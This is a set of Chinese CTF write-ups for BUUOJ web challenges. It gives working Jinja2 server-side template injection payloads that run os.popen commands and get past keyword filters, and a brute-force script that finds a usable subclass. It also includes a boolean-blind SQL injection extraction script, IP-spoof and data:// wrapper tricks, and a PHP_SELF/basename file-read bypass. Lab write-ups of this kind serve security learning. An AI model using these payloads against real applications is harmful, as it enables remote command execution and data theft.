[GYCTF2020]FlaskApp
?有一个base64的加密和解密，提示没有任何用处
在解密的地方输入没有base64加密的字符，会报错
?里面有一部分源码
?加密后的字符经过waf之后会直接渲染在页面上，然后这个题目是flask，可能存在ssti注入
{{7*7}}被检测到了，试一试{{7+7}},可以，然后就是正常的ssti的语句
?
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
__class__是看当前的类
__base__是看当前类的父类
__subclasses__是看当前父类的所有子类
然后找到有eval这个的键名的类
__import__是动态加载模块，利用os.popen来执行语句
?发现flag文件，把执行的语句变成 cat /this_is_the_flag.txt
但是被waf检测到了，应该是禁了flag，拼接一下
"cat /this_is_the_fla"+"g.txt"
?
[CSCCTF 2019 Qual]FlaskLight
?进去没有什么有用的，看源码，有一个get的search参数，题目又是flask，试一试ssti注入
?
?存在ssti注入
import requests
for i in range(1,100):
u="http://609c87b4-7300-4dc4-b6ad-335c1beb7f0a.node4.buuoj.cn:81/?search={{' '.__class__.__mro__[1].__subclasses__()[%d].__init__['__glo'+'bals__']}}" %i
r=requests.get(url=u)
if "builtins" in r.text:
print(u)
else:
pass
当我用__mro__和__base__的时候，__base__是直接全都有builtins，而__mro__[]则是根据中括号里面的不同数字有不同数量的builtins，感觉__base__要好用一点。
?
?然后就是输命令就行
?search={{' '.__class__.__base__.__subclasses__()[6].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}
?search={{' '.__class__.__base__.__subclasses__()[6].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
?search={{' '.__class__.__base__.__subclasses__()[6].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}
[极客大挑战 2019]RCE ME
?这个题限制长度不能大于或等于40，并且禁了大小写字母和数字
可以通过异或或者url编码取反
先看一下phpinfo
?
禁了一群函数，assert没禁，eval也没禁
?
?后面等以后再来补上
[MRCTF2020]套娃
?什么也没有，看源码
?get的参数b_u_p_t里面不能有下划线，并且值不能完全等于23333，但是他的前面和最后都必须是23333
这个可以用利用PHP的字符串解析特性Bypass来过下划线
用空格来代替下划线
然后下面那个if看正则绕过总结
用%0a来绕过
?
?在源码发现jsfack
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-->
?让post一个Merak参数
?
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 这里第一个是要本地的127.0.0.1，然后get的2333参数要等于todat is a happy day,最后要把change这个函数给绕过
?第一个用bp改ip
第二个用?2333=data://text/plain,todat is a happy day
第三个反过来搞，用python写一下
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}import base64
a="flag.php"
b=''
c=0
for i in a:
b+=chr(ord(i)-c*2)
c+=1
print(base64.b64encode(b.encode()))
?
?
?这个改ip的我用自己的那个插件没有Client-ip的选项，所以只能bp改一下
[WUSTCTF2020]颜值成绩查询
?
输入为1的时候，会出现admin，然后0到大于6的数报错，根据这个和[极客大挑战 2019]FinalSQL的类似，都是根据特征来写盲注脚本，
import requests
u="http://282e84bd-5c2f-4330-99ad-9d16264d136e.node4.buuoj.cn:81/?stunum="
a=''
for i in range(1,100):
low=32
high=127
mid=(low+high)//2
while low<high:
#p=u+"0^(ascii(substr((select(database())),{},1))>{})".format(i,mid)
#p=u+"0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})".format(i,mid)
#p=u+"0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})".format(i,mid)
p=u+"0^(ascii(substr((select(group_concat(value))from(flag)),{},1))>{})".format(i,mid)
r=requests.get(url=p)
if "admin" in r.text:
low=mid+1
else:
high=mid
mid=(low+high)//2
if low<=32 or high>=127:
break
a+=chr(mid)
print(a)
print(a)
数据库
flag表和score表
?
flag表里的flag和value字段
?
?value字段里的flag值
[Zer0pts2020]Can you guess it?
?
?进去说我猜到了，就给我flag
在
source里有源码，提示说flag在config.php里面
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { //PHP_SELF是当前执行的脚本的绝对路径的脚本名
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF'])); //basename返回路径中的文件名
exit();
}
$secret = bin2hex(random_bytes(64)); //随机生成64字节的字符串，bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) { //hash_equals比较两个字符串，无论它们是否相等，本函数的时间消耗是恒定的。
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>要绕过basename函数，在最后加一个中文字符来绕过正则,同上又不会影响basename选出config.php
/index.php/config.php/阿?source
为什么要在前面加一个index.php呢，因为config.php里面只有一个flag的值，而利用basename只在index.php里面，所以要在index.php里面通过basename选出config.php，之后highlight_file读取文件。
?